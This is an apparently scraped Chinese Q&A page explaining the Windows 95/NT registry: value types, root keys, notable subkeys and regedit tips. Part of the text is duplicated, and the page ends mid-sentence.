注册表中的键值项数据 注册表通过键和子键来管理各种信息。但是注册表中的所有信息都是以各种形式的键值项数据保存的。在注册表编辑器右窗格中显示的都是键值项数据。这些键值项数据可以分为三种类型: 1.字符串值 在注册表中,字符串值一般用来表示文件的描述和硬件的标识。通常由字母和数字组成,也可以是汉字,最大长度不能超过255个字符。在本站中以"a"="***"表示。 2.二进制值 在注册表中二进制值是没有长度限制的,可以是任意字节长。在注册表编辑器中,二进制以十六进制的方式表示。在本站中以"a"=hex:01,00,00,00方式表示。 3.DWORD值 DWORD值是一个32位(4个字节)的数值。在注册表编辑器中也是以十六进制的方式表示。在本站中以"a"=dword:00000001表示。运行注册表 点开始--运行---在运行里输入regedit.exe
2023-07-20 11:19:108

系统中的注册表

什么是注册表? 注册表因为它复杂的结构和没有任何联系的CLSID键使得它可能看上去很神秘。不幸的是,微软并没有完全公开讲述关于注册表正确设置的支持信息,这样使得注册表看上去更不可琢磨。处理和编辑注册表如同“黑色艺术”一样,它在系统中的设置让用户感觉象在黑暗中摸索一样找不到感觉。这样,因为用户对这方面的缺乏了解使得注册表更多的出现故障。 Windows注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件,注册表包含在Windows目录下两个文件system.dat和user.dat里,还有它们的备份system.da0和user.da0。通过Windows目录下的regedit.exe程序可以存取注册表数据库。在以前,在windows的更早版本(在win95以前),这些功能是靠win.ini,system.ini和其他和应用程序有关联的.ini文件来实现的. 在windows操作系统家族中,system.ini和win.ini这两个文件包含了操作系统所有的控制功能和应用程序的信息,system.ini管理计算机硬件而win.ini管理桌面和应用程序。所有驱动、字体、设置和参数会保存在.ini文件中,任何新程序都会被记录在.ini文件中。这些记录会在程序代码中被引用。因为受win.ini和system.ini文件大小的限制,程序员添加辅助的.INI文件以用来控制更多的应用程序。举例来说,微软的Excel有一个excel.ini文件,它包含着选项、设置、缺省参数和其他关系到Excel运行正常的信息。在system.ini和win.ini中只需要指出excel.ini的路径和文件名即可。 最开始,system.ini和win.ini控制着所有windows和应用程序的特征和存取方法,它在少数的用户和少数应用程序的环境中工作的很好。随着应用程序的数量和复杂性越来越大,则需要在.ini文件中添加更多的参数项。这样下来,在一个变化的环境中,在应用程序安装到系统中后,每个人都会更改.ini文件。然而,没有一个人在删除应用程序后删除.ini文件中的相关设置,所以system.ini和win.ini这个两个文件会变的越来越大。每增加的内容会导致系统性能越来越慢。而且每次应用程序的升级都出现这样的难题:升级会增加更多的参数项但是从来不去掉旧的设置。而且还有一个明显的问题,一个.ini文件的最大尺寸是64KB。为了解决这个问题,软件商自己开始支持自己的.ini文件,然后指向特定的ini文件如win.ini和system.ini文件。这样下来多个.ini文件影响了系统正常的存取级别设置。如果一个应用程序的.ini文件和WIN.INI文件设置起冲突,究竟是谁的优先级更高呢? 注册表最初被设计为一个应用程序的数据文件相关参考文件,最后扩展成对于32位操作系统和应用程序包括了所有功能下的东东.注册表是一套控制操作系统外表和如何响应外来事件工作的文件。这些“事件”的范围从直接存取一个硬件设备到接口如何响应特定用户到应用程序如何运行等等。注册表因为它的目的和性质变的很复杂,它被设计为专门为32位应用程序工作,文件的大小被限制在大约40MB。 注册表都做些什么? 注册表是为Windows NT和Windows95中所有32位硬件/驱动和32位应用程序设计的数据文件。16位驱动在Winnt下无法工作,所以所有设备都通过注册表来控制,一般这些是通过BIOS来控制的。在Win95下,16位驱动会继续以实模式方式设备工作,它们使用system.ini来控制。16位应用程序会工作在NT或者Win95 下,它们的程序仍然会参考win.ini和system.ini文件获得信息和控制。 在没有注册表的情况下,操作系统不会获得必须的信息来运行和控制附属的设备和应用程序及正确响应用户的输入。 在系统中注册表是一个记录32位驱动的设置和位置的数据库。当操作系统需要存取硬件设备,它使用驱动程序,甚至设备是一个BIOS支持的设备。无BIOS支持设备安装时必须需要驱动,这个驱动是独立于操作系统的,但是操作系统需要知道从哪里找到它们,文件名、版本号、其他设置和信息,没有注册表对设备的记录,它们就不能被使用。 当一个用户准备运行一个应用程序,注册表提供应用程序信息给操作系统,这样应用程序可以被找到,正确数据文件的位置被规定,其他设置也都可以被使用。 注册表保存关于缺省数据和辅助文件的位置信息、菜单、按钮条、窗口状态和其他可选项。它同样也保存了安装信息(比如说日期),安装软件的用户,软件版本号和日期,序列号等。根据安装软件的不同,它包括的信息也不同。 然而,一般来说,注册表控制所有32位应用程序和驱动,控制的方法是基于用户和计算机的,而不依赖于应用程序或驱动,每个注册表的参数项控制了一个用户的功能或者计算机功能。用户功能可能包括了桌面外观和用户目录。所以,计算机功能和安装的硬件和软件有关,对所以用户来说项都是公用的。 有些程序功能对用户有影响,有些时作用于计算机而不是为个人设置的,同样的,驱动可能是用户指定的,但在很多时候,它们在计算机中是通用的。 注册表控制用户模式的例子有: 控制面板功能; 桌面外观和图标; 网络参数; 浏览器功能性和特征; 那些功能中的某些是和用户无关的,有些是针对用户的。 计算机相关控制项基于计算机名,和登陆用户无关。控制类型的例子是安装一个应用程序,不管是哪个用户,程序的可用性和存取是不变的,然而,运行程序图标依赖于网络上登陆的用户。网络协议可用性和优先权基于计算机,但是当前连接和用户信息相关。 这里是在注册表中基与计算机控制条目的一些例子: 存取控制; 登陆确认; 文件和打印机共享; 网卡设置和协议; 系统性能和虚拟内存设置; 没有了注册表,Win95和Winnt 就不太可能存在。它们实在太复杂了,以致于用过去的.ini文件无法控制,它们的扩展能力需要几乎无限制的安装和使用应用程序,注册表实现了它。然而,注册表比.ini文件更复杂,理解它如何工作,它做什么和如何用它来做是有效管理系统的关键。 在系统中注册表控制所有32位应用程序和它们的功能及多个应用程序的交互,比如复制和粘贴,它也控制所有的硬件和驱动程序。虽然多数可以通过控制面板来安装和设置,理解注册表仍是做Winnt和Win95系统管理基本常识。 二、注册表的结构 注册表的结构 注册表是Windows程序员建造的一个复杂的信息数据库,它是多层次式的。在不同系统上注册表的基本结构相同。其中的复杂数据会在不同方式上结合,从而产生出一个绝对唯一的注册表。 计算机配置和缺省用户设置的注册表数据在Winnt中被保存在下面这五个文件中: DEFAULT,SAM,SECURITY,SOFTWARE,SYSTEM,NTUSER.DAT。 Win95中所有系统注册信息保存在windows目录下的SYSTEM.DAT文件里。所有硬件设置和软件信息也保存在这个文件。它要比NT注册表文件简单的多,因为这里并不需要更多的控制。Win95被设计为一个网络的客户或者单独工作的系统,所以用户控制或者安全级别和NT不一样。这使得Win95注册表工作比NT更容易,所以这个文件也比较小。 Win95用户的注册数据一般被保存在windows目录下的user.dat里。如果你在控制面板|密码|用户配置文件中创建并使用多于一个用户的配置文件,每个用户就会有在WINDOWSProfilesusernameUSER.DAT下它自己的user.dat文件。在启动时,系统将记录你的登陆,从你目录中的配置文件(USER.DAT信息)将被装入,以用来保持你自己的桌面和图标。 控制键 在注册表编辑器中注册表项是用控制键来显示或者编辑的。控制键使得找到和编辑信息项组更容易。因此,注册表使用这些条目。下面是六个控制键 HKEY_LOCAL_MACHINE HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_DYN_DATA HKEY_USERS HKEY_CURRENT_USER Winnt和Win95的注册表并不兼容。从Win95向Winnt升级需要你重新安装32位应用程序,重新在桌面上创建图标,并重新建立用户环境。 通过控制键可以比较容易编辑注册表。虽然它们显示和编辑好象独立的键,其实HKEY_CLASSES_ROOT 和HKEY_CURRENT_CONFIG是 HKEY_LOCAL_MACHINE的一部分。HKEY_CURRENT_USER是HKEY_USERS的一部分。 HKEY_LOCAL_MACHINE包含了HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG的所有内容。每次计算机启动时,HKEY_CURRENT_CONFIG和HKEY_CLASSES_ROOT的信息被映射用以查看和编辑。 HKEY_CLASSES_ROOT其实就是HKEY_LOCAL_MACHINESOFTWAREClasses,但是在HKEY_CLASSES_ROOT窗编辑相对来说显得更容易和有条理。 HKEY_USERS保存着缺省用户信息和当前登陆用户信息。当一个域成员计算机启动并且一个用户登陆,域控制器自动将信息发送到HKEY_CURRENT_USER里,而且HKEY_CURRENT_USER信息被映射到系统内存中。其他用户的信息并不发送到系统,而是记录在域控制器里。 键和子键 数据被分割成多层次的键和子键,建立分层次(就象Exploer一样)结构更易于编辑。每个键有成组的信息而且根据在其中的数据类型被命名。每个键在它的文件夹图标上都有一个加号(+)标志子键说明在它下面还有更多内容的东西。当点开它的时候,文件夹的加号标志被替换成一个减号(-)标志,然后显示出下一级的子键。 所有软件,硬件,windows工作的设置都存放在HKEY_LOCAL_MACHINE。所有安全策略,用户权限和共享信息也包括在这个键中。用户权限,安全策略,共享信息可以通过Windows NT域用户管理器,Explorer和Win95中控制面板来设置。 HKEY_CLASSES_ROOT HKEY_CLASSES_ROOT包含了所有应用程序运行时必需的信息: 在文件和应用程序之间所有的扩展名和关联; 所有的驱动程序名称; 类的ID数字(所要存取项的名字用数字来代替); DDE和OLE的信息; 用于应用程序和文件的图标; HKEY_CURRENT_CONFIG. HKEY_CURRENT_CONFIG是在HKEY_LOCAL_MACHINE中当前硬件配置信息的映射。如果系统只有一个配置文件,也就是原始配置,数据将一直在同样的地方。在控制面板|系统|硬件配置文件|创建一个额外的配置使额外配置信息放入HKEY_LOCAL_MACHINE。当Win95中存在多个配置文件时,当每次计算机启动时将给出一个提示让你选择一个配置文件。在Winnt中,在启动时你可以按空格键来选择上次正常启动时硬件配置文件。根据硬件配置文件选择的不同,特定的信息被映射到HKEY_CURRENT_CONFIG。 HKEY_DYN_DATA HKEY_DYN_DATA和其他的注册表控制键不同,因为实际上它并不被写入硬盘驱动器中。Win95的一个优点是,在系统启动时HKEY_DYN_DATA这个控制键储存收集到的即插即用信息并配置它们。它保存在内存中,Win95用它来控制硬件。因为是在内存中,所以它不从硬盘中读取,每次当你启动计算机时,配置都有可能会不一样。在启动时Win95必须计算超过1600种可能的配置。所以,如果系统改变既定的设置而没有报告给Win95那么潜在的问题就可能发生。系统大多数时间工作良好,但是并非一直如此。 HKEY_USERS HKEY_USERS仅包含了缺省用户设置和登陆用户的信息。虽然它包含了所有独立用户的设置,但在用户未登陆网络时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。 HKEY_CURRENT_USER 用来保存当前用户和缺省用户的信息,HKEY_CURRENT_USER仅映射当前登陆用户的信息。 各主键的简单介绍 HKEY_LOCAL_MACHINE HKEY_LOCAL_MACHINE是一个显示控制系统和软件的处理键。HKLM键保存着计算机的系统信息。它包括网络和硬件上所有的软件设置。(比如文件的位置,注册和未注册的状态,版本号等等)这些设置和用户无关,因为这些设置是针对使用这个系统的所有用户的。 HKEY_LOCAL_MACHINEAppEvents 为了以后在瘦客户机上运行客户机/服务器这样的应用程序,在Win95/98中AppEvents键是空的。应用程序实际上都驻留网络服务器上,这些键会保存部分指针。 HKEY_LOCAL_MACHINEConfig 这个键保存着你计算机上所有不同的硬件设置(这些从控制面板的系统属性中硬件配置文件中可以创建)。这些配置在启动时通常被复制到HKCC。每个配置会被用一个键(比如0001或者0002等等)来保存,每个都是一个独立的配置。如果你只有一个单一的配置,那就只会有0001这个键 HKEY_LOCAL_MACHINEConfig001Display 这个键表示显示的设置,如荧屏字体,窗体大小,窗体位置和分辨率等 一个小技巧:当设置了计算机不支持的大分辨率导致Windows不能启动时(黑屏),可以修改分辨率来解决。进入安全模式,运行regedit.exe,在这个键的Resolution键值中把数据值修改为640,480或者800,600这样的低分辨率,然后重新启动计算机即可。 HKEY_LOCAL_MACHINEConfig001System 这个键保存着系统里打印机的信息 HKEY_LOCAL_MACHINEConfig001SystemCurrentControlSetControlPrintPrinters 在这个键下面,有一个键是为系统上每一个打印机设置的,通过控制面板添加和删除打印机会调整这个列表 HKEY_LOCAL_MACHINEEnum Enum键包含启动时发现的硬件设备和那些既插即用卡的信息。Win95使用总线列举在启动时通过不同的.ini文件来检测硬件信息。那些在启动时被安装的和被检测到的硬件会显示在这里。子键包括BIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Network, Root, SCSI, 和 VIRTUAL。子键名表示它们各自的硬件设备信息。 HKEY_LOCAL_MACHINEEnumBIOS BIOS键保存着系统中所有即插即用设备的信息。它们用一套代码数列出,包括每一个键的详细说明,举例,*pnp0400是并行口LPT1的键。如果LPT1并不具备即插即用功能,它就会别列入到Enum下的Root键中 HKEY_LOCAL_MACHINEEnumRoot Root键包括所有非即插即用设备的信息。在这里,我们可以迅速断定哪些设备是即插即用,那些不是。比如SCSI适配器,这个设备必须符合Win95中一个键名为ForcedConfig的硬件设置,这个不会改变。 HKEY_LOCAL_MACHINEEnumNetwork win95的网络功能在这个键有详细说明,子键包括了每个已经安装的主要的服务和协议。 HKEY_LOCAL_MACHINEHARDWARE hardware子键包括了两个多层的子键:DESCRIPTION键,它包含了中央处理器和一个浮点处理器的信息。还有一个设备映射键,它下面的串行键列出你所有的com端口。这个hardware键仅保存超级终端程序的信息,及数学处理器和串行口。 HKEY_LOCAL_MACHINENetwork 这个键仅保存网络登陆信息。所有网络服务细节都保存在HKEY_LOCAL_MACHINEEnumNetwork这个键中。这个键有一个子键,logon,包括了lmlogon(本地机器登陆?0=false 1=true)的值,logonvalidated(必须登陆验证),策略处理,主登陆方式(Windows登陆 ,微软网络客户方式等),用户名和用户配置。 HKEY_LOCAL_MACHINESECURITY security 有两个子键,第一个是存取(它最终致使一个远程键列出网络安全资源,存取权限等)和提供(包括列出网络地址和地址服务器),这个键被保留用在以后使用高级安全功能和NT兼容性上 HKEY_LOCAL_MACHINESOFTWARE 这个键列出了所有已安装的32位软件和程序的.ini文件。它包括了变化,依靠软件安装。那些程序的控制功能在这里的子键中列出。多数子键简单的列出了安装软件的版本号。 我们在MicrosoftWindowsCurrent Version下发现了一些有意思的设置,它有如下子键: 1.App paths: 你曾经安装过的所有32位软件的位置。 2.Applets, Compression, Controls Folder : 包括下控制面板象显示属性那样属性条的附件。 3.Detect, explorer :很多有意思的子键如Namespace keys of Desktop和My Computer----它们指出了回收站和拨号网络的CLSID行----和提示子键可以让你建立自己的提示。 4.Extensions : 一个扩展联系的列表,当前相关联的扩展名和比特定的执行文件更适合的目标类型。 5.Fonts, fontsize, FS Templates :系统属性条中所选择文件系统模板, 服务器,桌面计算机或者笔记本电脑信息。 6.MS-DOS Emulation :包括一个应用程序兼容子键 为大量过时的程序二进制键所设。 7.MS-DOS Options :在dos模式下的设置,如himem.sys,cd-roms等。 8.Network :网络驱动的配置。 9.Nls, Policies :系统管理员认为你不应该去做的事。 10.ProfileList :所有可以登陆你计算机的用户名列表。 11.在Windows启动时运行的程序的神秘之处是它们并不在开始菜单的启动文件夹中。它们在HKEY_LOCAL_MACHINEMicrosoftWindowsCurrentVersion下的子键中被执行。 Run : 程序在启动时运行 RunOnce : windows初始化时程序在启动时只运行一次,这个经常用在当安装软件之后需要重新启动系统的时候,所以这个键一般都是空的。 RunServices : 它就象Run一样,但是包含了“服务”,它不象一般的程序它们是比较重要的或者是“系统”程序。但是它们不是VXDs,就象McAfee或者RegServ工作一样。 RunServicesOnce : 它只运行一次,但是是“系统自身”的安装(大量的windows安装参数:通常键值包括了系统目录位置,和win95更新,可选项安装组件,和windows启动目录的子键。 注意:在很多黑客木马软件中,常常在这里添加键值(一般是在Run中),这样使得木马软件可以随着windows启动而启动并且很隐秘。在这里可以查看不正常的启动项和去掉无用的运行程序(比如我就很不喜欢超级解霸的自动伺服器,在这里可以去掉它)。 12.SharedDLLs:共享DLL的列表,每一个都给出了在一个不可知系统的一个数字等级。 13.Shell Extensions:列出了“被认可的”OLE注册条,和相应的CLSID连接。 14.ShellScrap :这个包含了一个PriorityCacheformats的子键,它包括了一个空的有限值,它更象过去SmartDrive命令行参数的派生。 15.Time Zones : 主键值是你现在的时区;子键定义了所以可能的时区。 16.Uninstall:这个保存了程序在添加/删除程序对话框的显示;子键包含了指向反安装程序的路径。和安装向导相似.......)winlogon(包含了合法登陆布告的文本句) HKEY_LOCAL_MACHINESYSTEMCurrentControlSet 这个子键包括设备驱动和其他服务的描述和控制。不同于windows nt,win95只包括限制驱动的控制设置信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl 这个子键包括了win95控制面板中的信息。不要编辑这些信息,因为一些小程序的改变在很多地方,一个丢失的项会使这个系统变的不稳定 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 这个键包括了所有win95的标准服务。所有被添加的服务和设备,每个标准的服务键包括了它的设置和辨认设置。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesArbitrators atbitrators键包括了当两个设备共同占用同样的设置需要解决的信息。四个子键包括了内存地址,冲突,DMA,I/O端口冲突和IRQ冲突。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesClass class键包括了所有win95支持的设备classes控制,这些和你在添加新硬件出现的硬件组很类似,还包括了这些设备如何安装的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesinetaccs 这个键包括了关于这个系统变化的ie附件的可用性,它仅在你安装过ie2。0或者更高版本才出现。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMSNP32 msnp32描述了客户机如何在microsoft网络中实现功能,它包括了认证过程和认证者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNWNP32 nenp32键描述了windows客户如何在netware网络中工作功能,它包括了关于认证过程和证明者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRemoteAccess 在这个键里包括需要远程工作在win95系统上的信息,有认证参数,主机信息,和为了建立一个拨号连接工作的协议信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMP 这个键包括了所以snmp(简单网络管理协议)的参数。它包括了允许的管理,配置陷阱,和有效的团体。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVxD vxd键包括了win95中所有32位虚拟设备驱动信息,win95自动管理它们,所以不必要用注册表编辑器编辑它们,所以的静态vxds用子键列出。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWebPost webpost键包括了所有装载的internet邮局的设置,如果你连接一个isp,并且它列出载这里,你应该给自己选则一个服务器。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinsock 这个键列出了当连接到internet上winnsock文件的信息,如果列出了不正确的文件,你将不会连接上internet。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinTrust wintrust功能是检查从Internet上下载来的文件是否有病毒,它可以确保你得到干净安全的文件。 HKEY_CLASSES_ROOT 在注册表中HKEY_CLASSES_ROOT是系统中控制所有数据文件的项。这个在Win95和Winnt中是相通的。HKEY_CLASSES_ROOT控制键包括了所有文件扩展和所有和执行文件相关的文件。它同样也决定了当一个文件被双击时起反应的相关应用程序。 HKEY_CLASSES_ROOT被用作程序员在安装软件时方便的发送信息,在Win95和Winnt中,HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINESoftwareClasses是相同的。程序员在运行他们的启动程序时不需要担忧实际的位置,相反的,他们只需要在HKEY_CLASSES_ROOT中加入数据就可以了。 在Windows用户图形界面下,每件事----每个文件,每个目录,每个小程序,每个连接,每个驱动---都被看做一个对象;每个对象都有确定的属性和它联系。HKCR包含着对象类型和它们属性的列表。HKCR主要的功能被设置为: 一个对象类型和一个文件扩展名关联 一个对象类型和一种图标关联 一个对象类型和一个命令行动作的关联 定义对象类型相关菜单选项和定义每一个对象类型属性选项 在Win95中,相关菜单就是当你鼠标右击一个对象时所弹出的菜单;属性就是当你选择属性项后一个展开的对话框。用简单术语来说就是在改变HKCR中的设置可以改变一个给定文件扩展名缺省的关联。改变一个文件类型的缺省图标,和添加或者删除给定对象类型的弹出菜单内容(或者所有的对象类型) HKCR包括了三种基本类型的子键 ??? 或者文件扩展名子键 文件扩展名子键在弹出菜单上连接文件扩展名到对象类型和相关操作,属性项,和相关操作。 object 类型子键 对象类型子键定义了一个对象类型在它缺省图标的项,它的弹出菜单和属性项,它的相关操作和它的CLSID连接。 CLSID 子键 在Windows下每件事都被用一个数字取代它的名字来对待。就象人往往是用名字来处理事情一样。CLSID是标识所有列出的图标,应用程序,目录,文件类型等等对象的数字。是微软为制造商分配的,每一个都必须是唯一的。制造商将CLSID放入安装程序文件这样就可以在安装时更新注册表。 注册表是应用程序进行时它们需要关于做什么的指示的数据库。比如说,假定你有一个微软Excel 7电子数据表的Word 7文档,当你在Word中双击这个电子数据表,应用程序菜单就会变成Excel的菜单而且电子数据表进入编辑状态,就好象你在Excel中一样。它是如何知道该做什么呢?每个Excel 7创建的文件都有Excel的CLSID连接。Word读这个CLSID后,到注册表中寻找指示,依赖CLSID下的数据运行.DLL文件或者应用程序。 CLSID子键为对象类型提供了OLE和DDE信息和图标。相关菜单,或者包含在它子键中的属性项信息。这个可能是多数让人看到后觉得“恐怖”的键。每个CLSID数必须是唯一的,实际上,为了这个目的微软已经出产了CLSID-产生程序--这个结果导致你往往得到32位16进制的数字串,除非你是程序员,否则多数部分键看起来是很枯燥的。它们包括内存管理模式,客户机/服务器配置,和OLE处理的.dll连接。 关于子键的一点注解 1)shell:Shell键有个一”action“子键,如同”open“一样,这里有一个command子键;command子键有一个缺省句值,它包含了运行程序的命令行。将一个”open“子键放在一个对象类型的shell子键中会在这个对象类型的弹出菜单上多出一个”open“选项,给这个open子键一个command(缺省命令行"C:Windows Notepad.exe %1")子键会使得打开这个对象类型时使用笔记本做为缺省应用程序。其他操作选项包括View,Print,Copy,Virus,Scan等等。 2)shellex:Shellex键有一个子键。它们包含的每一个子键指向一个为对象类型执行OLE和DDE功能的CLSID项(比如说快速查看,一个菜单处理子键下指向一个有句值的CLSID键列出了包含了文件浏览功能的.dll文件) 3)shellnew:ShellNew包含了一个“command”句,它包含了一个打开对象类型“新”文件的命令行。 4)DefaultIcon:DefaultIcon子键包含了一个“default”
2023-07-20 11:19:254

请问注册表是什么?如何建立?

什么是注册表? 注册表因为它复杂的结构和没有任何联系的CLSID键使得它可能看上去很神秘。不幸的是,微软并没有完全公开讲述关于注册表正确设置的支持信息,这样使得注册表看上去更不可琢磨。处理和编辑注册表如同“黑色艺术”一样,它在系统中的设置让用户感觉象在黑暗中摸索一样找不到感觉。这样,因为用户对这方面的缺乏了解使得注册表更多的出现故障。 Windows注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件,注册表包含在Windows目录下两个文件system.dat和user.dat里,还有它们的备份system.da0和user.da0。通过Windows目录下的regedit.exe程序可以存取注册表数据库。在以前,在windows的更早版本(在win95以前),这些功能是靠win.ini,system.ini和其他和应用程序有关联的.ini文件来实现的. 在windows操作系统家族中,system.ini和win.ini这两个文件包含了操作系统所有的控制功能和应用程序的信息,system.ini管理计算机硬件而win.ini管理桌面和应用程序。所有驱动、字体、设置和参数会保存在.ini文件中,任何新程序都会被记录在.ini文件中。这些记录会在程序代码中被引用。因为受win.ini和system.ini文件大小的限制,程序员添加辅助的.INI文件以用来控制更多的应用程序。举例来说,微软的Excel有一个excel.ini文件,它包含着选项、设置、缺省参数和其他关系到Excel运行正常的信息。在system.ini和win.ini中只需要指出excel.ini的路径和文件名即可。 最开始,system.ini和win.ini控制着所有windows和应用程序的特征和存取方法,它在少数的用户和少数应用程序的环境中工作的很好。随着应用程序的数量和复杂性越来越大,则需要在.ini文件中添加更多的参数项。这样下来,在一个变化的环境中,在应用程序安装到系统中后,每个人都会更改.ini文件。然而,没有一个人在删除应用程序后删除.ini文件中的相关设置,所以system.ini和win.ini这个两个文件会变的越来越大。每增加的内容会导致系统性能越来越慢。而且每次应用程序的升级都出现这样的难题:升级会增加更多的参数项但是从来不去掉旧的设置。而且还有一个明显的问题,一个.ini文件的最大尺寸是64KB。为了解决这个问题,软件商自己开始支持自己的.ini文件,然后指向特定的ini文件如win.ini和system.ini文件。这样下来多个.ini文件影响了系统正常的存取级别设置。如果一个应用程序的.ini文件和WIN.INI文件设置起冲突,究竟是谁的优先级更高呢? 注册表最初被设计为一个应用程序的数据文件相关参考文件,最后扩展成对于32位操作系统和应用程序包括了所有功能下的东东.注册表是一套控制操作系统外表和如何响应外来事件工作的文件。这些“事件”的范围从直接存取一个硬件设备到接口如何响应特定用户到应用程序如何运行等等。注册表因为它的目的和性质变的很复杂,它被设计为专门为32位应用程序工作,文件的大小被限制在大约40MB。 注册表都做些什么? 注册表是为Windows NT和Windows95中所有32位硬件/驱动和32位应用程序设计的数据文件。16位驱动在Winnt下无法工作,所以所有设备都通过注册表来控制,一般这些是通过BIOS来控制的。在Win95下,16位驱动会继续以实模式方式设备工作,它们使用system.ini来控制。16位应用程序会工作在NT或者Win95 下,它们的程序仍然会参考win.ini和system.ini文件获得信息和控制。 在没有注册表的情况下,操作系统不会获得必须的信息来运行和控制附属的设备和应用程序及正确响应用户的输入。 在系统中注册表是一个记录32位驱动的设置和位置的数据库。当操作系统需要存取硬件设备,它使用驱动程序,甚至设备是一个BIOS支持的设备。无BIOS支持设备安装时必须需要驱动,这个驱动是独立于操作系统的,但是操作系统需要知道从哪里找到它们,文件名、版本号、其他设置和信息,没有注册表对设备的记录,它们就不能被使用。 当一个用户准备运行一个应用程序,注册表提供应用程序信息给操作系统,这样应用程序可以被找到,正确数据文件的位置被规定,其他设置也都可以被使用。 注册表保存关于缺省数据和辅助文件的位置信息、菜单、按钮条、窗口状态和其他可选项。它同样也保存了安装信息(比如说日期),安装软件的用户,软件版本号和日期,序列号等。根据安装软件的不同,它包括的信息也不同。 然而,一般来说,注册表控制所有32位应用程序和驱动,控制的方法是基于用户和计算机的,而不依赖于应用程序或驱动,每个注册表的参数项控制了一个用户的功能或者计算机功能。用户功能可能包括了桌面外观和用户目录。所以,计算机功能和安装的硬件和软件有关,对所以用户来说项都是公用的。 有些程序功能对用户有影响,有些时作用于计算机而不是为个人设置的,同样的,驱动可能是用户指定的,但在很多时候,它们在计算机中是通用的。 注册表控制用户模式的例子有: 控制面板功能; 桌面外观和图标; 网络参数; 浏览器功能性和特征; 那些功能中的某些是和用户无关的,有些是针对用户的。 计算机相关控制项基于计算机名,和登陆用户无关。控制类型的例子是安装一个应用程序,不管是哪个用户,程序的可用性和存取是不变的,然而,运行程序图标依赖于网络上登陆的用户。网络协议可用性和优先权基于计算机,但是当前连接和用户信息相关。 这里是在注册表中基与计算机控制条目的一些例子: 存取控制; 登陆确认; 文件和打印机共享; 网卡设置和协议; 系统性能和虚拟内存设置; 没有了注册表,Win95和Winnt 就不太可能存在。它们实在太复杂了,以致于用过去的.ini文件无法控制,它们的扩展能力需要几乎无限制的安装和使用应用程序,注册表实现了它。然而,注册表比.ini文件更复杂,理解它如何工作,它做什么和如何用它来做是有效管理系统的关键。 在系统中注册表控制所有32位应用程序和它们的功能及多个应用程序的交互,比如复制和粘贴,它也控制所有的硬件和驱动程序。虽然多数可以通过控制面板来安装和设置,理解注册表仍是做Winnt和Win95系统管理基本常识。 二、注册表的结构 注册表的结构 注册表是Windows程序员建造的一个复杂的信息数据库,它是多层次式的。在不同系统上注册表的基本结构相同。其中的复杂数据会在不同方式上结合,从而产生出一个绝对唯一的注册表。 计算机配置和缺省用户设置的注册表数据在Winnt中被保存在下面这五个文件中: DEFAULT,SAM,SECURITY,SOFTWARE,SYSTEM,NTUSER.DAT。 Win95中所有系统注册信息保存在windows目录下的SYSTEM.DAT文件里。所有硬件设置和软件信息也保存在这个文件。它要比NT注册表文件简单的多,因为这里并不需要更多的控制。Win95被设计为一个网络的客户或者单独工作的系统,所以用户控制或者安全级别和NT不一样。这使得Win95注册表工作比NT更容易,所以这个文件也比较小。 Win95用户的注册数据一般被保存在windows目录下的user.dat里。如果你在控制面板|密码|用户配置文件中创建并使用多于一个用户的配置文件,每个用户就会有在WINDOWSProfilesusernameUSER.DAT下它自己的user.dat文件。在启动时,系统将记录你的登陆,从你目录中的配置文件(USER.DAT信息)将被装入,以用来保持你自己的桌面和图标。 控制键 在注册表编辑器中注册表项是用控制键来显示或者编辑的。控制键使得找到和编辑信息项组更容易。因此,注册表使用这些条目。下面是六个控制键 HKEY_LOCAL_MACHINE HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_DYN_DATA HKEY_USERS HKEY_CURRENT_USER Winnt和Win95的注册表并不兼容。从Win95向Winnt升级需要你重新安装32位应用程序,重新在桌面上创建图标,并重新建立用户环境。 通过控制键可以比较容易编辑注册表。虽然它们显示和编辑好象独立的键,其实HKEY_CLASSES_ROOT 和HKEY_CURRENT_CONFIG是 HKEY_LOCAL_MACHINE的一部分。HKEY_CURRENT_USER是HKEY_USERS的一部分。 HKEY_LOCAL_MACHINE包含了HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG的所有内容。每次计算机启动时,HKEY_CURRENT_CONFIG和HKEY_CLASSES_ROOT的信息被映射用以查看和编辑。 HKEY_CLASSES_ROOT其实就是HKEY_LOCAL_MACHINESOFTWAREClasses,但是在HKEY_CLASSES_ROOT窗编辑相对来说显得更容易和有条理。 HKEY_USERS保存着缺省用户信息和当前登陆用户信息。当一个域成员计算机启动并且一个用户登陆,域控制器自动将信息发送到HKEY_CURRENT_USER里,而且HKEY_CURRENT_USER信息被映射到系统内存中。其他用户的信息并不发送到系统,而是记录在域控制器里。 键和子键 数据被分割成多层次的键和子键,建立分层次(就象Exploer一样)结构更易于编辑。每个键有成组的信息而且根据在其中的数据类型被命名。每个键在它的文件夹图标上都有一个加号(+)标志子键说明在它下面还有更多内容的东西。当点开它的时候,文件夹的加号标志被替换成一个减号(-)标志,然后显示出下一级的子键。 所有软件,硬件,windows工作的设置都存放在HKEY_LOCAL_MACHINE。所有安全策略,用户权限和共享信息也包括在这个键中。用户权限,安全策略,共享信息可以通过Windows NT域用户管理器,Explorer和Win95中控制面板来设置。 HKEY_CLASSES_ROOT HKEY_CLASSES_ROOT包含了所有应用程序运行时必需的信息: 在文件和应用程序之间所有的扩展名和关联; 